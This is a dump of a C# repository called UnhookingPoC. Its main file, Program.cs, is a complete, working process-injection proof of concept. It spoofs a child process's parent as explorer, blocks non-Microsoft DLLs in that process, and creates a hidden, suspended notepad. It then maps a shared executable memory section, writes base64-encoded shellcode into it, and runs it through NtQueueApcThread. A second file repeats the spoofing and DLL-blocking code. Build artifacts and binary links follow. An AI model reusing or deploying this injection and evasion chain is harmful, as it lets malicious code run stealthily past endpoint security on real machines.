120 | var protectStatus = (Native.NTSTATUS)Generic.DynamicAPIInvoke("ntdll.dll", "NtProtectVirtualMemory",
121 | typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtProtectVirtualMemory), ref protectParameters);
122 |
123 | if (protectStatus == Native.NTSTATUS.Success)
124 | oldProtect = (Win32.WinNT.MEMORY_PROTECTION)protectParameters[4];
125 |
126 | Console.WriteLine("NtProtectVirtualMemory");
127 | Console.WriteLine(" | -> newProtect: {0}", newProtect);
128 | Console.WriteLine(" | -> NTSTATUS: {0}", protectStatus);
129 | Console.WriteLine(" | -> oldProtect: {0}", oldProtect);
130 |
131 | // OPEN THREAD
132 |
133 | // Create OBJECT_ATTRIBUTES & CLIENT_ID ref's
134 | IntPtr threadHandle = IntPtr.Zero;
135 | DInvoke.Data.Native.OBJECT_ATTRIBUTES oa = new DInvoke.Data.Native.OBJECT_ATTRIBUTES();
136 | //DInvoke.Data.Native.CLIENT_ID ci = new DInvoke.Data.Native.CLIENT_ID();
137 | Native.CLIENT_ID ci = new Native.CLIENT_ID { UniqueThread = (IntPtr)pi.dwThreadId };
138 | //ci.UniqueThread = (IntPtr)pi.dwThreadId;
139 |
140 | // Craft an array for the arguments
141 | object[] openThreadArgs =
142 | {
143 | threadHandle, DInvoke.Data.Win32.Kernel32.ThreadAccess.SetContext, oa, ci
144 | };
145 | var openThreadStatus = (Native.NTSTATUS)Generic.DynamicAPIInvoke("ntdll.dll", "NtOpenThread",
146 | typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtOpenThread), ref openThreadArgs);
147 |
148 | Console.WriteLine("NtOpenThread");
149 | Console.WriteLine(" | -> threadHandle: {0}", ci.UniqueThread);
150 | Console.WriteLine(" | -> NTSTATUS: {0}", openThreadStatus);
151 |
152 |
153 | // QUEUE USER APC
154 |
155 | // Craft an array for the arguments
156 | object[] funcargs =
157 | {
158 | pi.hThread, baseAddress, null, null, null
159 | };
160 |
161 | DInvoke.Data.Native.NTSTATUS queueStatus = (DInvoke.Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(
162 | @"ntdll.dll",
163 | @"NtQueueApcThread", typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtQueueApcThread), ref funcargs);
164 | Console.WriteLine("NtQueueApcThread");
165 | Console.WriteLine(" | -> NTSTATUS: {0}", queueStatus);
166 | Console.WriteLine(" | -> threadHandle: {0}", pi.hThread);
167 | Console.WriteLine(" | -> baseAddress: {0}", baseAddress);
168 |
169 |
170 | // RESUME THREAD
171 | object[] resumeArgs =
172 | {
173 | pi.hThread, (UInt32)0
174 | };
175 |
176 | DInvoke.Data.Native.NTSTATUS resumeStatus = (DInvoke.Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(
177 | @"ntdll.dll",
178 | @"NtAlertResumeThread", typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtAlertResumeThread),
179 | ref resumeArgs);
180 | Console.WriteLine("NtAlertResumeThread");
181 | Console.WriteLine(" | -> NTSTATUS: {0}", resumeStatus);
182 | Console.WriteLine(" | -> threadHandle: {0}", pi.hThread);
183 | //Thread.Sleep(30000);
184 | }
185 | }
186 | }
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.ComponentModel;
3 | using System.Diagnostics;
4 | using System.Net;
5 | using System.Net.Configuration;
6 | using System.Net;
7 | using System.Reflection;
8 | using System.Runtime.InteropServices;
9 | using System.Threading;
10 | using DInvoke.Data;
11 | using DInvoke.DynamicInvoke;
12 | using Native = DInvoke.Data.Native;
13 | using Win32 = DInvoke.Data.Win32;
14 |
15 | namespace Dinvoke
16 | {
17 |
18 | public class UnhookingPoC
19 | {
20 |
21 | public static bool InitializeProcThreadAttributeList(ref IntPtr lpAttributeList, int dwAttributeCount)
22 | {
23 | var lpSize = IntPtr.Zero;
24 | object[] parameters = { IntPtr.Zero, dwAttributeCount, 0, lpSize };
25 |
26 | // Returns null attributes
27 | var retVal = (bool)Generic.DynamicAPIInvoke(@"kernel32.dll", @"InitializeProcThreadAttributeList", typeof(DInvoke.DynamicInvoke.Native.InitializeProcThreadAttributeList), ref parameters);
28 | lpSize = (IntPtr)parameters[3];
29 |
30 | // Returns 2 attributes
31 | lpAttributeList = Marshal.AllocHGlobal(lpSize);
32 | parameters = new object[] { lpAttributeList, dwAttributeCount, 0, lpSize };
33 | retVal = (bool)Generic.DynamicAPIInvoke(@"kernel32.dll", @"InitializeProcThreadAttributeList", typeof(DInvoke.DynamicInvoke.Native.InitializeProcThreadAttributeList), ref parameters);
34 |
35 | return retVal;
36 | }
37 | public static bool UpdateProcThreadAttribute(ref IntPtr lpAttributeList, IntPtr attribute, ref IntPtr lpValue)
38 | {
39 | object[] parameters = { lpAttributeList, (uint)0, attribute, lpValue, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero };
40 | var retVal = (bool)Generic.DynamicAPIInvoke("kernel32.dll", "UpdateProcThreadAttribute", typeof(DInvoke.DynamicInvoke.Native.UpdateProcThreadAttribute), ref parameters);
41 | return retVal;
42 | }
43 | public static void DeleteProcThreadAttributeList(ref IntPtr lpAttributeList)
44 | {
45 | object[] parameters = { lpAttributeList };
46 | Generic.DynamicAPIInvoke("kernel32.dll", "DeleteProcThreadAttributeList", typeof(DInvoke.DynamicInvoke.Native.DeleteProcThreadAttributeList), ref parameters);
47 | }
48 | public static uint NtCreateSection(ref IntPtr hSection, uint desiredAccess, IntPtr objectAttributes, ref ulong maxSize, uint sectionPageProtection, uint allocationAttributes, IntPtr hFile)
49 | {
50 | object[] parameters = { hSection, desiredAccess, objectAttributes, maxSize, sectionPageProtection, allocationAttributes, hFile };
51 |
52 | var retValue = (uint)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtCreateSection", typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtCreateSection), ref parameters);
53 |
54 | hSection = (IntPtr)parameters[0];
55 | maxSize = (ulong)parameters[3];
56 |
57 | return retValue;
58 | }
59 | public static bool CreateProcess(string lpApplicationName, string lpCommandLine, uint dwCreationFlags, string lpCurrentDirectory,
60 | ref Win32.WinNT.ProcessThreadsAPI._STARTUPINFOEX lpStartupInfo, out Win32.WinNT.ProcessThreadsAPI._PROCESS_INFORMATION lpProcessInformation)
61 | {
62 | var lpProcessAttributes = new DInvoke.Data.Win32.WinBase._SECURITY_ATTRIBUTES();
63 | var lpThreadAttributes = new DInvoke.Data.Win32.WinBase._SECURITY_ATTRIBUTES(); ;
64 |
65 | lpProcessAttributes.nLength = (uint)Marshal.SizeOf(lpProcessAttributes);
66 | lpThreadAttributes.nLength = (uint)Marshal.SizeOf(lpThreadAttributes);
67 |
68 | object[] parameters = { lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, false, dwCreationFlags, IntPtr.Zero, lpCurrentDirectory, lpStartupInfo, null };
69 |
70 | var retVal = (bool)Generic.DynamicAPIInvoke("kernel32.dll", "CreateProcessA", typeof(DInvoke.DynamicInvoke.Native.DELEGATES.CreateProcessA), ref parameters);
71 |
72 | lpProcessInformation = (Win32.WinNT.ProcessThreadsAPI._PROCESS_INFORMATION)parameters[9];
73 | return retVal;
74 | }
75 | public static uint NtMapViewOfSection(IntPtr SectionHandle, IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, IntPtr CommitSize, IntPtr SectionOffset, ref ulong ViewSize, uint InheritDisposition, uint AllocationType, uint Win32Protect)
76 | {
77 | object[] funcargs = { SectionHandle, ProcessHandle, BaseAddress, ZeroBits, CommitSize, SectionOffset, ViewSize, InheritDisposition, AllocationType, Win32Protect };
78 |
79 | var retValue = (uint)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtMapViewOfSection", typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtMapViewOfSection), ref funcargs);
80 |
81 | BaseAddress = (IntPtr)funcargs[2];
82 | ViewSize = (ulong)funcargs[6];
83 |
84 | return retValue;
85 | }
86 |
87 |
88 | static void Main(string[] args)
89 | {
90 | // InitializeProcThreadAttributeList
91 | var startupInfoEx = new Win32.WinNT.ProcessThreadsAPI._STARTUPINFOEX();
92 | startupInfoEx.StartupInfo.cb = (uint)Marshal.SizeOf(startupInfoEx);
93 |
94 | _ = InitializeProcThreadAttributeList(ref startupInfoEx.lpAttributeList, 2);
95 |
96 | // UpdateProcThreadAttribute
97 | const long BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON = 0x100000000000;
98 | const int MITIGATION_POLICY = 0x20007;
99 |
100 | var blockDllPtr = Marshal.AllocHGlobal(IntPtr.Size);
101 | Marshal.WriteIntPtr(blockDllPtr, new IntPtr(BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON));
102 |
103 | _ = UpdateProcThreadAttribute(
104 | ref startupInfoEx.lpAttributeList,
105 | (IntPtr)MITIGATION_POLICY,
106 | ref blockDllPtr);
107 |
108 | // Parent PID Spoofing
109 | const int PARENT_PROCESS = 0x00020000;
110 |
111 | var ppidPtr = Marshal.AllocHGlobal(IntPtr.Size);
112 | var hParent = Process.GetProcessesByName("explorer")[0].Handle;
113 | Marshal.WriteIntPtr(ppidPtr, hParent);
114 |
115 | _ = UpdateProcThreadAttribute(
116 | ref startupInfoEx.lpAttributeList,
117 | (IntPtr)PARENT_PROCESS,
118 | ref ppidPtr);
119 |
120 | // Create Process
121 | const uint CREATE_SUSPENDED = 0x00000004;
122 | const uint DETACHED_PROCESS = 0x00000008;
123 | const uint CREATE_NO_WINDOW = 0x08000000;
124 | const uint EXTENDED_STARTUP_INFO_PRESENT = 0x00080000;
125 |
126 | var pi = new Win32.WinNT.ProcessThreadsAPI._PROCESS_INFORMATION();
127 | _ = CreateProcess(
128 | null,
129 | "notepad",
130 | CREATE_SUSPENDED | CREATE_NO_WINDOW | DETACHED_PROCESS | EXTENDED_STARTUP_INFO_PRESENT,
131 | Environment.GetFolderPath(Environment.SpecialFolder.UserProfile),
132 | ref startupInfoEx,
133 | out pi);
134 |
135 | Console.WriteLine("CreateProcess");
136 | Console.WriteLine(" | -> NTSTATUS: {0}", pi);
137 | Console.WriteLine(" | -> hParent: {0}", hParent.ToInt64());
138 | //===============================================================
139 |
140 | // [+] DELETE POINTERS ==================================================================================
141 | DeleteProcThreadAttributeList(ref startupInfoEx.lpAttributeList);
142 | Marshal.FreeHGlobal(ppidPtr);
143 | Marshal.FreeHGlobal(blockDllPtr);
144 |
145 | //[+] NtCreateSection ==================================================================================
146 | var shellcodeRaw =
147 | "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA";
148 | var shellcodeBytes = Convert.FromBase64String(shellcodeRaw);
149 | const uint GENERIC_ALL = 0x10000000;
150 | const uint PAGE_EXECUTE_READWRITE = 0x40;
151 | var hLocalSection = IntPtr.Zero;
152 | var maxSize = (ulong)shellcodeBytes.Length;
153 |
154 | _ = NtCreateSection(
155 | ref hLocalSection,
156 | GENERIC_ALL,
157 | IntPtr.Zero,
158 | ref maxSize,
159 | PAGE_EXECUTE_READWRITE,
160 | DInvoke.Data.Win32.WinNT.SEC_COMMIT,
161 | IntPtr.Zero);
162 |
163 | const uint PAGE_READWRITE = 0x04;
164 |
165 | var self = Process.GetCurrentProcess();
166 | var hLocalBaseAddress = IntPtr.Zero;
167 |
168 | _ = NtMapViewOfSection(
169 | hLocalSection,
170 | self.Handle,
171 | ref hLocalBaseAddress,
172 | IntPtr.Zero,
173 | IntPtr.Zero,
174 | IntPtr.Zero,
175 | ref maxSize,
176 | 2,
177 | 0,
178 | PAGE_READWRITE);
179 |
180 | // [+] NtMapViewOfSection ==================================================================================
181 | const uint PAGE_EXECUTE_READ = 0x20;
182 |
183 | var hRemoteBaseAddress = IntPtr.Zero;
184 |
185 | _ = NtMapViewOfSection(
186 | hLocalSection,
187 | pi.hProcess,
188 | ref hRemoteBaseAddress,
189 | IntPtr.Zero,
190 | IntPtr.Zero,
191 | IntPtr.Zero,
192 | ref maxSize,
193 | 2,
194 | 0,
195 | PAGE_EXECUTE_READ);
196 |
197 |
198 | // [+] WRITE MEMORY
199 | Marshal.Copy(shellcodeBytes, 0, hLocalBaseAddress, shellcodeBytes.Length);
200 |
201 | // [+] QUEUE USER APC
202 |
203 | // Craft an array for the arguments
204 | object[] funcargs =
205 | {
206 | pi.hThread, hRemoteBaseAddress, null, null, null
207 | };
208 |
209 | DInvoke.Data.Native.NTSTATUS queueStatus = (DInvoke.Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(
210 | @"ntdll.dll",
211 | @"NtQueueApcThread", typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtQueueApcThread), ref funcargs);
212 | Console.WriteLine("NtQueueApcThread");
213 | Console.WriteLine(" | -> NTSTATUS: {0}", queueStatus);
214 | Console.WriteLine(" | -> threadHandle: {0}", pi.hThread);
215 | Console.WriteLine(" | -> baseAddress: {0}", hRemoteBaseAddress);
216 |
217 |
218 | // RESUME THREAD
219 | object[] resumeArgs =
220 | {
221 | pi.hThread, (UInt32)0
222 | };
223 |
224 | DInvoke.Data.Native.NTSTATUS resumeStatus = (DInvoke.Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(
225 | @"ntdll.dll",
226 | @"NtAlertResumeThread", typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtAlertResumeThread),
227 | ref resumeArgs);
228 | Console.WriteLine("NtAlertResumeThread");
229 | Console.WriteLine(" | -> NTSTATUS: {0}", resumeStatus);
230 | Console.WriteLine(" | -> threadHandle: {0}", pi.hThread);
231 | Console.WriteLine();
232 | Console.WriteLine("[*] Press Enter to exit...");
233 | Console.ReadLine();
234 | //Thread.Sleep(30000);
235 | }
236 | }
237 | }
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("DInvoke")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("DInvoke")]
13 | [assembly: AssemblyCopyright("Copyright © 2020")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("b77fdab5-207c-4cdb-b1aa-348505c54229")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/SharedUtilities/Utilities.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Security.Cryptography.X509Certificates;
3 |
4 | namespace DInvoke.Utilities
5 | {
6 | class Utilities
7 | {
8 | ///
9 | /// Checks that a file is signed and has a valid signature.
10 | ///
11 | /// Path of file to check.
12 | ///
13 | public static bool FileHasValidSignature(string FilePath)
14 | {
15 | X509Certificate2 FileCertificate;
16 | try
17 | {
18 | X509Certificate signer = X509Certificate.CreateFromSignedFile(FilePath);
19 | FileCertificate = new X509Certificate2(signer);
20 | }
21 | catch
22 | {
23 | return false;
24 | }
25 |
26 | X509Chain CertificateChain = new X509Chain();
27 | CertificateChain.ChainPolicy.RevocationFlag = X509RevocationFlag.EntireChain;
28 | CertificateChain.ChainPolicy.RevocationMode = X509RevocationMode.Offline;
29 | CertificateChain.ChainPolicy.VerificationFlags = X509VerificationFlags.NoFlag;
30 |
31 | return CertificateChain.Build(FileCertificate);
32 | }
33 | }
34 | }
35 |
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/app.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/nuget.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CryptoBreach/UnhookPoC/0b72bb33668d3a1f0824545629493bcd99980059/UnhookingPoC/DInvoke/nuget.exe
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/obj/Debug/DInvoke.csproj.AssemblyReference.cache:
--------------------------------------------------------------------------------
1 | MBRSC
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/obj/Debug/DInvoke.csproj.CoreCompileInputs.cache:
--------------------------------------------------------------------------------
1 | 824d499e652354f738f0d03f938e7654ae3c75be
2 |
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/obj/Debug/DInvoke.csproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | C:\Users\61455\Desktop\DInvoke-dev\DInvoke\DInvoke\obj\Debug\DInvoke.csproj.AssemblyReference.cache
2 | C:\Users\61455\Desktop\DInvoke-dev\DInvoke\DInvoke\obj\Debug\DInvoke.csproj.CoreCompileInputs.cache
3 | C:\Users\61455\Desktop\DInvoke-dev\DInvoke\DInvoke\bin\Debug\DInvoke.pdb
4 | C:\Users\61455\Desktop\DInvoke-dev\DInvoke\DInvoke\obj\Debug\DInvoke.pdb
5 | C:\Users\61455\Desktop\DInvoke-dev\DInvoke\DInvoke\bin\Debug\DInvoke.exe
6 | C:\Users\61455\Desktop\DInvoke-dev\DInvoke\DInvoke\obj\Debug\DInvoke.exe
7 | C:\Users\61455\Desktop\DInvoke-backup\DInvoke\DInvoke\obj\Debug\DInvoke.csproj.AssemblyReference.cache
8 | C:\Users\61455\Desktop\DInvoke-backup\DInvoke\DInvoke\obj\Debug\DInvoke.csproj.CoreCompileInputs.cache
9 | C:\Users\61455\Desktop\DInvoke-backup\DInvoke\DInvoke\obj\Debug\DInvoke.pdb
10 | C:\Users\61455\Desktop\DInvoke-backup\DInvoke\DInvoke\bin\Debug\DInvoke.pdb
11 | C:\Users\61455\Desktop\DInvoke-backup\DInvoke\DInvoke\bin\Debug\DInvoke.exe.config
12 | C:\Users\61455\Desktop\DInvoke-backup\DInvoke\DInvoke\bin\Debug\DInvoke.exe
13 | C:\Users\61455\Desktop\DInvoke-backup\DInvoke\DInvoke\obj\Debug\DInvoke.exe
14 | C:\Users\61455\Desktop\CSharp-Projects\UnhookingPoC\DInvoke\obj\Debug\DInvoke.csproj.AssemblyReference.cache
15 | C:\Users\61455\Desktop\CSharp-Projects\UnhookingPoC\DInvoke\obj\Debug\DInvoke.csproj.CoreCompileInputs.cache
16 | C:\Users\61455\Desktop\CSharp-Projects\UnhookingPoC\DInvoke\obj\Debug\DInvoke.exe
17 | C:\Users\61455\Desktop\CSharp-Projects\UnhookingPoC\DInvoke\obj\Debug\DInvoke.pdb
18 | C:\Users\61455\Desktop\CSharp-Projects\UnhookingPoC\DInvoke\bin\Debug\DInvoke.exe.config
19 | C:\Users\61455\Desktop\CSharp-Projects\UnhookingPoC\DInvoke\bin\Debug\DInvoke.exe
20 | C:\Users\61455\Desktop\CSharp-Projects\UnhookingPoC\DInvoke\bin\Debug\DInvoke.pdb
21 |
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/obj/Debug/DInvoke.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CryptoBreach/UnhookPoC/0b72bb33668d3a1f0824545629493bcd99980059/UnhookingPoC/DInvoke/obj/Debug/DInvoke.exe
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/obj/Debug/DInvoke.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CryptoBreach/UnhookPoC/0b72bb33668d3a1f0824545629493bcd99980059/UnhookingPoC/DInvoke/obj/Debug/DInvoke.pdb
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CryptoBreach/UnhookPoC/0b72bb33668d3a1f0824545629493bcd99980059/UnhookingPoC/DInvoke/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CryptoBreach/UnhookPoC/0b72bb33668d3a1f0824545629493bcd99980059/UnhookingPoC/DInvoke/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/overloadMapping.cs.orig:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 | using System.Diagnostics;
4 |
5 | using DInvoke.DynamicInvoke;
6 |
7 | namespace ConsoleApp1
8 | {
9 | class Program
10 | {
11 | static void Mapping(string[] args)
12 | {
13 | var si = new Win32.STARTUPINFOEX();
14 | si.StartupInfo.cb = (uint)Marshal.SizeOf(si);
15 | si.StartupInfo.dwFlags = 0x00000001;
16 |
17 | var lpValue = Marshal.AllocHGlobal(IntPtr.Size);
18 |
19 | try
20 | {
21 | var funcParams = new object[] {
22 | IntPtr.Zero,
23 | 2,
24 | 0,
25 | IntPtr.Zero
26 | };
27 |
28 | Generic.DynamicAPIInvoke(
29 | "kernel32.dll",
30 | "InitializeProcThreadAttributeList",
31 | typeof(InitializeProcThreadAttributeList),
32 | ref funcParams,
33 | true);
34 |
35 | var lpSize = (IntPtr)funcParams[3];
36 | si.lpAttributeList = Marshal.AllocHGlobal(lpSize);
37 |
38 | funcParams[0] = si.lpAttributeList;
39 |
40 | Generic.DynamicAPIInvoke(
41 | "kernel32.dll",
42 | "InitializeProcThreadAttributeList",
43 | typeof(InitializeProcThreadAttributeList),
44 | ref funcParams,
45 | true);
46 |
47 | // BlockDLLs
48 | if (Is64Bit)
49 | {
50 | Marshal.WriteIntPtr(lpValue, new IntPtr((long)Win32.BinarySignaturePolicy.BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON));
51 | }
52 | else
53 | {
54 | Marshal.WriteIntPtr(lpValue, new IntPtr(unchecked((uint)Win32.BinarySignaturePolicy.BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON)));
55 | }
56 |
57 | funcParams = new object[]
58 | {
59 | si.lpAttributeList,
60 | (uint)0,
61 | (IntPtr)Win32.ProcThreadAttribute.MITIGATION_POLICY,
62 | lpValue,
63 | (IntPtr)IntPtr.Size,
64 | IntPtr.Zero,
65 | IntPtr.Zero
66 | };
67 |
68 | Generic.DynamicAPIInvoke(
69 | "kernel32.dll",
70 | "UpdateProcThreadAttribute",
71 | typeof(UpdateProcThreadAttribute),
72 | ref funcParams,
73 | true);
74 |
75 | // PPID Spoof
76 | var hParent = Process.GetProcessesByName("explorer")[0].Handle;
77 | lpValue = Marshal.AllocHGlobal(IntPtr.Size);
78 | Marshal.WriteIntPtr(lpValue, hParent);
79 |
80 | // Start Process
81 | funcParams = new object[]
82 | {
83 | si.lpAttributeList,
84 | (uint)0,
85 | (IntPtr)Win32.ProcThreadAttribute.PARENT_PROCESS,
86 | lpValue,
87 | (IntPtr)IntPtr.Size,
88 | IntPtr.Zero,
89 | IntPtr.Zero
90 | };
91 |
92 | Generic.DynamicAPIInvoke(
93 | "kernel32.dll",
94 | "UpdateProcThreadAttribute",
95 | typeof(UpdateProcThreadAttribute),
96 | ref funcParams,
97 | true);
98 |
99 | var pa = new Win32.SECURITY_ATTRIBUTES();
100 | var ta = new Win32.SECURITY_ATTRIBUTES();
101 | pa.nLength = Marshal.SizeOf(pa);
102 | ta.nLength = Marshal.SizeOf(ta);
103 |
104 | funcParams = new object[]
105 | {
106 | null,
107 | "notepad",
108 | pa,
109 | ta,
110 | false,
111 | Win32.CreationFlags.EXTENDED_STARTUPINFO_PRESENT,
112 | IntPtr.Zero,
113 | "C:\\Windows\\System32",
114 | si,
115 | null
116 | };
117 |
118 | Generic.DynamicAPIInvoke(
119 | "kernel32.dll",
120 | "CreateProcessA",
121 | typeof(CreateProcess),
122 | ref funcParams,
123 | true);
124 |
125 | var pi = (Win32.PROCESS_INFORMATION)funcParams[9];
126 |
127 | if (pi.hProcess != IntPtr.Zero)
128 | {
129 | Console.WriteLine($"Process ID: {pi.dwProcessId}");
130 | }
131 |
132 | }
133 | catch (Exception e)
134 | {
135 | Console.Error.WriteLine(e.Message);
136 | }
137 | finally
138 | {
139 | // Clean up
140 | var funcParams = new object[]
141 | {
142 | si.lpAttributeList
143 | };
144 |
145 | Generic.DynamicAPIInvoke(
146 | "kernel32.dll",
147 | "DeleteProcThreadAttributeList",
148 | typeof(DeleteProcThreadAttributeList),
149 | ref funcParams,
150 | true);
151 |
152 | Marshal.FreeHGlobal(si.lpAttributeList);
153 | Marshal.FreeHGlobal(lpValue);
154 | }
155 |
156 | }
157 |
158 | static bool Is64Bit
159 | {
160 | get
161 | {
162 | return IntPtr.Size == 8;
163 | }
164 | }
165 |
166 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
167 | delegate bool InitializeProcThreadAttributeList(
168 | IntPtr lpAttributeList,
169 | int dwAttributeCount,
170 | int dwFlags,
171 | ref IntPtr lpSize);
172 |
173 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
174 | delegate bool UpdateProcThreadAttribute(
175 | IntPtr lpAttributeList,
176 | uint dwFlags,
177 | IntPtr Attribute,
178 | IntPtr lpValue,
179 | IntPtr cbSize,
180 | IntPtr lpPreviousValue,
181 | IntPtr lpReturnSize);
182 |
183 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
184 | delegate bool CreateProcess(
185 | string lpApplicationName,
186 | string lpCommandLine,
187 | ref Win32.SECURITY_ATTRIBUTES lpProcessAttributes,
188 | ref Win32.SECURITY_ATTRIBUTES lpThreadAttributes,
189 | bool bInheritHandles,
190 | Win32.CreationFlags dwCreationFlags,
191 | IntPtr lpEnvironment,
192 | string lpCurrentDirectory,
193 | ref Win32.STARTUPINFOEX lpStartupInfo,
194 | out Win32.PROCESS_INFORMATION lpProcessInformation);
195 |
196 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
197 | delegate bool DeleteProcThreadAttributeList(
198 | IntPtr lpAttributeList);
199 | }
200 |
201 | class Win32
202 | {
203 | [StructLayout(LayoutKind.Sequential)]
204 | public struct PROCESS_INFORMATION
205 | {
206 | public IntPtr hProcess;
207 | public IntPtr hThread;
208 | public int dwProcessId;
209 | public int dwThreadId;
210 | }
211 |
212 | [StructLayout(LayoutKind.Sequential)]
213 | public struct STARTUPINFO
214 | {
215 | public uint cb;
216 | public IntPtr lpReserved;
217 | public IntPtr lpDesktop;
218 | public IntPtr lpTitle;
219 | public uint dwX;
220 | public uint dwY;
221 | public uint dwXSize;
222 | public uint dwYSize;
223 | public uint dwXCountChars;
224 | public uint dwYCountChars;
225 | public uint dwFillAttributes;
226 | public uint dwFlags;
227 | public ushort wShowWindow;
228 | public ushort cbReserved;
229 | public IntPtr lpReserved2;
230 | public IntPtr hStdInput;
231 | public IntPtr hStdOutput;
232 | public IntPtr hStdErr;
233 | }
234 |
235 | [StructLayout(LayoutKind.Sequential)]
236 | public struct STARTUPINFOEX
237 | {
238 | public STARTUPINFO StartupInfo;
239 | public IntPtr lpAttributeList;
240 | }
241 |
242 | [StructLayout(LayoutKind.Sequential)]
243 | public struct SECURITY_ATTRIBUTES
244 | {
245 | public int nLength;
246 | public IntPtr lpSecurityDescriptor;
247 | public int bInheritHandle;
248 | }
249 |
250 | [Flags]
251 | public enum ProcThreadAttribute : int
252 | {
253 | MITIGATION_POLICY = 0x20007,
254 | PARENT_PROCESS = 0x00020000
255 | }
256 |
257 | [Flags]
258 | public enum BinarySignaturePolicy : ulong
259 | {
260 | BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON = 0x100000000000,
261 | }
262 |
263 | [Flags]
264 | public enum CreationFlags : uint
265 | {
266 | EXTENDED_STARTUPINFO_PRESENT = 0x00080000
267 | }
268 | }
269 | }
--------------------------------------------------------------------------------
/https-localhost.cer:
--------------------------------------------------------------------------------
1 | -----BEGIN CERTIFICATE-----
2 | MIIEDTCCAnWgAwIBAgIQa2/R1cJw4MssudU6wDGRETANBgkqhkiG9w0BAQsFADBj
3 | MR4wHAYDVQQKExVta2NlcnQgZGV2ZWxvcG1lbnQgQ0ExHDAaBgNVBAsME3Jvb3RA
4 | aXAtMTcyLTI2LTEtODExIzAhBgNVBAMMGm1rY2VydCByb290QGlwLTE3Mi0yNi0x
5 | LTgxMB4XDTIxMTIxNjA0MTY1MVoXDTI0MDMxNjA0MTY1MVowRzEnMCUGA1UEChMe
6 | bWtjZXJ0IGRldmVsb3BtZW50IGNlcnRpZmljYXRlMRwwGgYDVQQLDBNyb290QGlw
